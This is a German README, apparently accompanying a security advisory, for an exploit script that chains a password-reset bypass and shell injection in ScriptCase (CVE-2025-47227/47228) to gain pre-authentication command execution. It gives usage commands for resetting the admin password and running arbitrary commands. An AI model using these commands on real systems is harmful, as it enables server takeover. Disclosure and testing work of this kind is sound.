ScriptCase - Remote-Befehlsausführung vor Authentifizierung

Verkettung von Administrator-Passwort-Reset (Authentifizierungsumgehung, CVE-2025-47227) und Shell-Injection (authentifizierte Remote-Befehlsausführung, CVE-2025-47228)

Die Remote-Befehlsausführung ohne Authentifizierung wird durch die Verkettung zweier Schwachstellen erreicht: Die erste ermöglicht es, unter bestimmten Bedingungen das Administrator-Passwort der Produktionskonsole zurückzusetzen, die zweite ist eine einfache authentifizierte Remote-Befehlsausführung in den Verbindungsfunktionen, bei der Benutzereingaben direkt mit einem SSH-Systembefehl verkettet werden.

Anforderungen

Die von den Exploits verwendeten Python-Abhängigkeiten von Drittanbietern können mit einem der folgenden Befehle installiert werden:

# pip - universell
pip3 install Pillow pytesseract requests beautifulsoup4

# pacman - Arch Linux
pacman -S python-pillow python-pytesseract python-requests python-beautifulsoup4

Verwendung

Es wurde ein Exploit-Skript erstellt, das mehrere Szenarien abdeckt:

• Ausführung der Remote-Befehlsausführung vor Authentifizierung durch Verkettung beider Schwachstellen (Passwort-Reset und authentifizierte Befehlsausführung)
• Nur das Zurücksetzen des Passworts durchführen
• Nur authentifizierte Befehlsausführung durchführen
• Den Bereitstellungspfad erkennen

Usage:
  Examples:

  Pre-Auth RCE (password reset + RCE)
    python exploit.py -u http://example.org/scriptcase -c "command"
  Password reset only (no auth)
    python exploit.py -u http://example.org/scriptcase
  RCE only (need account)
    python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
  Detect deployment path
    python exploit.py -u http://example.org/ -d


Options:
  -h, --help            show this help message and exit
  -u BASE_URL, --base-url=BASE_URL
  -c COMMAND, --command=COMMAND
  -p PASSWORD, --password=PASSWORD
  -d, --detect

Betroffene Versionen

Betroffen ist Version 1.0.003-build-2 des Produktionsumgebungsmoduls. Diese Version des Moduls ist in ScriptCase Version 9.12.006 (23) enthalten. Frühere Versionen sind wahrscheinlich ebenfalls anfällig.

Referenzen

https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution